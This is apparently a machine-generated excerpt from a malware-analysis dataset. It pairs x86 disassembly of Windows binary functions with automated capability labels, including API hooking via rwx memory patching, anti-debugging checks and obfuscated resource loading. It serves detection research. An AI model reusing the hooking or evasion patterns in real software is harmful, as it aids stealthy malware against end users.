joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18094490
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x180c8718
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.180c1c78
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.18093e30
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.180c1ba6
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.180be481
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.180be481
push 1
push 0
push 0
mov ecx, esi
call fcn.180be429
push 1
push 0
push 1
mov ecx, esi
call fcn.180be429
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.180c1cea
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x18094610
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x180c8738
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.180c1c78
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.18093e30
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.180c1ba6
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x180946d4
cmp dword [esp + 0x40], 1
jne 0x180946d2
cmp ecx, eax
jge 0x180946d4
mov eax, ecx
cmp eax, 0xc8
jge 0x180946e0
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.18094490
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.180c1cea
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x18094e50
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x180c87a3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.180bc8b8
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.180c1f20
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.180c343c
test eax, eax
je 0x18094f6c
mov ecx, dword [esp + 0x3c]
call fcn.180c1f4d
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x18094f30
push edi
mov ecx, esi
call fcn.180bf59a
mov ecx, esi
call fcn.180950d0
cmp dword [esp + 0x38], 1
jne 0x18094f65
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.180bf6d5
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x18097980
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x180979b3
push esi
call fcn.1809aa90
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x180979ac
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x18097a39
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x18097a22
mov eax, dword [esi + 8]
test eax, eax
je 0x180979d7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x18097a1e
cmp eax, 2
je 0x18097a22
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x180979ca
cmp eax, 3
je 0x180979fd
cmp eax, 1
jne 0x180979ca
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x180979ca
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x180979ca
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.18097a60
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x18097a48
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.18097a60
add esp, 4
pop esi
ret
Function at 0x180a66e0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x10]
cmp eax, 0x182
je 0x180a671b
cmp eax, 0x1e6
je 0x180a671b
push eax
push ebx
push ecx
push edx
mov eax, 1
cpuid
mov dword [ebp - 4], edx
pop edx
pop ecx
pop ebx
pop eax
mov eax, dword [ebp - 4]
pop ebx
shr eax, 0x17
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x180a6770
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x180c8c78
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov ebx, ecx
push esi
push edi
lea ecx, [esp + 0xc]
call fcn.180a6c60
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0xc]
push eax
mov dword [esp + 0x20], 0
call fcn.180a6d20
test eax, eax
jge 0x180a67d7
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.180a6c90
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret 0x10
lea ecx, [esp + 0xc]
call fcn.180a6ca0
mov edi, eax
push edi
call fcn.180bb04b
mov esi, eax
add esp, 4
test esi, esi
jne 0x180a6821
lea ecx, [esp + 0xc]
call fcn.180a6cc0
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.180a6c90
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret 0x10
push edi
push esi
lea ecx, [esp + 0x14]
call fcn.180a6d40
cmp edi, eax
je 0x180a6869
push esi
call fcn.180bb074
add esp, 4
lea ecx, [esp + 0xc]
call fcn.180a6cc0
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.180a6c90
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret 0x10
lea ecx, [esp + 0xc]
call fcn.180a6cc0
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x24]
push ecx
push edx
push esi
push edi
push eax
mov ecx, ebx
call fcn.180a6a60
push esi
mov edi, eax
call fcn.180bb074
add esp, 4
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0xffffffff
call fcn.180a6c90
mov ecx, dword [esp + 0x14]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 0x10
Function at 0x180a6a60
Capabilities:
Print debug messages

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x180c8d14
push eax
mov eax, dword [esp + 0x20]
mov dword fs:[0], esp
sub esp, 0x144
push ebx
mov ebx, dword [esp + 0x15c]
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0x168]
cmp eax, esi
jne 0x180a6a9d
push edi
push ebx
call fcn.180a68c0
cmp eax, 5
ja case.default.0x180a6aa6
jmp dword [eax*4 + 0x180a6c48]
push str.Error:_CDXImage___Unsupported_Image_type.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp case.default.0x180a6aa6
lea ecx, [esp + 0xc]
call fcn.180a8320
mov eax, dword [esp + 0x16c]
mov ecx, dword [esp + 0x160]
push eax
push edi
push ebx
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x168], esi
call fcn.180a8390
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [esp + 0x158], 0xffffffff
call fcn.180a8360
jmp case.default.0x180a6aa6
lea ecx, [esp + 0xc]
call fcn.180a6d90
mov edx, dword [esp + 0x16c]
mov eax, dword [esp + 0x160]
push edx
push edi
push ebx
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x168], 1
call fcn.180a6e90
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [esp + 0x158], 0xffffffff
call fcn.180a6dd0
jmp case.default.0x180a6aa6
lea ecx, [esp + 0xc]
call fcn.180a7dc0
mov ecx, dword [esp + 0x16c]
mov edx, dword [esp + 0x160]
push ecx
push edi
push ebx
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x168], 2
call fcn.180a7e70
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [esp + 0x158], 0xffffffff
call fcn.180a7e00
jmp case.default.0x180a6aa6
lea ecx, [esp + 0xc]
call fcn.180a7a60
mov eax, dword [esp + 0x16c]
mov ecx, dword [esp + 0x160]
push eax
push edi
push ebx
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x168], 3
call fcn.180a7b50
lea ecx, [esp + 0xc]
mov esi, eax
mov dword [esp + 0x158], 0xffffffff
call fcn.180a7aa0
jmp case.default.0x180a6aa6
lea ecx, [esp + 0xf0]
call fcn.180a7820
mov edx, dword [esp + 0x16c]
mov eax, dword [esp + 0x160]
push edx
push edi
push ebx
push eax
lea ecx, [esp + 0x100]
mov dword [esp + 0x168], 4
call fcn.180a78b0
lea ecx, [esp + 0xf0]
mov esi, eax
mov dword [esp + 0x158], 0xffffffff
call fcn.180a7860
mov ecx, dword [esp + 0x150]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x150
ret 0x14

Function at 0x180a6d40
Capabilities:
Read file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx + 4]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 8]
neg eax
sbb eax, eax
and eax, ecx
ret 8
Function at 0x180aa0d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ChangeDisplaySettingsA
push edi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push esi
call ebp
push str.ClipCursor
push edi
mov dword [esi], 0x8c2
call ebx
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push 0x40
push 4
push esi
call ebp
push str.RegisterClassA
push edi
mov dword [esi], 0x4c2
call ebx
lea edx, [esp + 0x10]
mov esi, eax
push edx
push 0x40
push 0xa
push esi
call ebp
mov ecx, esi
mov eax, 0x90909090
add esi, 5
push str.SetCursorPos
mov dword [ecx], eax
push edi
lea edx, [esi + 6]
mov byte [ecx + 4], al
mov eax, 0x180aa030
sub eax, esi
mov dword [0x180fd7f4], edx
sub eax, 5
mov dword [esi], 0xe9
mov dword [esi + 1], eax
call ebx
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push 0x40
push 5
push esi
call ebp
mov eax, 0x180aa080
lea edx, [esi + 5]
sub eax, esi
mov dword [0x180fd7f8], edx
sub eax, 5
mov dword [esi], 0xe9
mov dword [esi + 1], eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x180bd694
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x180bd6cc
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.180bb765
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.180bb73d
jmp 0x180bd6d8
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x180bed85
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x180bedc7
call fcn.180c4726
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x180bedc7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x180bedbe
xor eax, eax
jmp 0x180bedcf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.180bedd5
pop edi
pop esi
pop ebx
ret 4
Function at 0x40493e
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc48
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push esi
xor esi, esi
cmp dword [0x59e0e8], 0x594
push edi
mov dword [ebp - 8], eax
jne 0x404984
push 0x404778
push 0x404788
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [0x42a488]
mov dword [ebp - 0x24], eax
mov eax, dword [0x42a48c]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
call fcn.0040492d
mov eax, dword [0x42a490]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x28], eax
mov eax, dword [0x42a494]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, ebx
shl eax, 4
cmp dword [0x59e0e8], 0xc
mov dword [ebp - 4], eax
jne 0x404a1f
push esi
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc48]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x34]
push eax
push esi
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x59e0e8]
cmp eax, 0xfa9
jne 0x404a3b
mov dword [0x59d684], 0xedeb2e40
cmp eax, 0x3eb
jne 0x404a48
mov dword [0x59d034], esi
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, ebx
shr edx, cl
lea eax, [edi + ebx]
mov dword [ebp - 0x14], eax
mov dword [0x59d680], 0xf4ea3dee
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x59e0e8], 0x213
mov dword [ebp - 0x14], edx
jne 0x404a84
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
add edi, edx
add eax, dword [ebp - 0x2c]
xor eax, edi
xor dword [ebp - 4], eax
push dword [ebp - 4]
mov eax, ebx
call fcn.00404934
mov ebx, eax
lea eax, [ebp - 0x10]
call fcn.00404926
dec dword [ebp - 0x18]
jne 0x4049bd
cmp dword [0x59e0e8], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], ebx
jne 0x404aee
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edx, dword [ebp - 8]
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404e54
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x40c
push ebx
push esi
xor esi, esi
cmp dword [0x59e0e8], 0x400
push edi
jne 0x404eba
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
push esi
call fcn.0040527d
push esi
push esi
call fcn.0040527d
push esi
push esi
call fcn.00405671
add esp, 0x10
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404903
fstp st(0)
push esi
call fcn.00405894
pop ecx
push esi
push esi
call fcn.00405204
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004048e0
fstp st(0)
mov eax, dword [0x42ab14]
mov dword [0x59e0e8], eax
mov eax, dword [0x42aaec]
mov dword [0x59e0ec], eax
call fcn.00404c6b
xor ebx, ebx
mov edi, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0x10]
push eax
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp ebx, edi
jle 0x404f06
cmp dword [esp + 0x14], 0x785074d5
jne 0x404f0f
inc ebx
cmp ebx, 0x1c1b
jl 0x404eda
xor ebx, ebx
push esi
lea eax, [esp + 0x1c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x4047f4
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
cmp ebx, edi
jle 0x404f3a
cmp dword [esp + 0x14], 0x785074d5
jne 0x404f43
inc ebx
cmp ebx, 0x11915
jl 0x404f11
mov eax, dword [0x59d038]
mov dword [0x59d67c], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4069c5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4291e8]
jne 0x4069cf
repz ret
jmp fcn.0040c3eb
Function at 0x40f5c7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407914
and dword [ebp - 4], 0
cmp dword [0x42b75c], 0
mov ebx, eax
jne 0x40f678
push 0x4046f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f729
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4046e8
push edi
call esi
test eax, eax
je 0x40f729
push eax
call fcn.004078a2
mov dword [esp], 0x4046d8
push edi
mov dword [0x42b75c], eax
call esi
push eax
call fcn.004078a2
mov dword [esp], 0x4046c4
push edi
mov dword [0x42b760], eax
call esi
push eax
call fcn.004078a2
mov dword [esp], 0x4046a8
push edi
mov dword [0x42b764], eax
call esi
push eax
call fcn.004078a2
pop ecx
mov dword [0x42b76c], eax
test eax, eax
je 0x40f678
push 0x404690
push edi
call esi
push eax
call fcn.004078a2
pop ecx
mov dword [0x42b768], eax
mov eax, dword [0x42b768]
cmp eax, ebx
je 0x40f6d0
cmp dword [0x42b76c], ebx
je 0x40f6d0
push eax
call fcn.0040791d
push dword [0x42b76c]
mov esi, eax
call fcn.0040791d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f6d0
test edi, edi
je 0x40f6d0
call esi
test eax, eax
je 0x40f6c7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f6c7
test byte [ebp - 0xc], 1
jne 0x40f6d0
or dword [ebp + 0x10], 0x200000
jmp 0x40f709
mov eax, dword [0x42b760]
cmp eax, ebx
je 0x40f709
push eax
call fcn.0040791d
pop ecx
test eax, eax
je 0x40f709
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f709
mov eax, dword [0x42b764]
cmp eax, ebx
je 0x40f709
push eax
call fcn.0040791d
pop ecx
test eax, eax
je 0x40f709
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42b75c]
call fcn.0040791d
pop ecx
test eax, eax
je 0x40f729
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f72b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4058d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4605ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004554d8
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x405952
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00453427
mov eax, dword [eax]
push 0x4741c0
push eax
call fcn.00446324
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00455763
test bl, bl
je 0x405952
push 0x4741c0
lea ecx, [esp + 0xc]
call fcn.00455af3
push 0x477d08
lea ecx, [esp + 0xc]
call fcn.00455af3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40598e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00455763
jmp 0x405a59
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x405a12
lea edx, [esp + 0x7c]
push 0x477d04
push edx
call fcn.00446324
add esp, 8
test eax, eax
je 0x405a12
lea eax, [esp + 0x7c]
push 0x477d00
push eax
call fcn.00446324
add esp, 8
test eax, eax
je 0x405a12
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4059a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00455763
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x406250
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4062b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc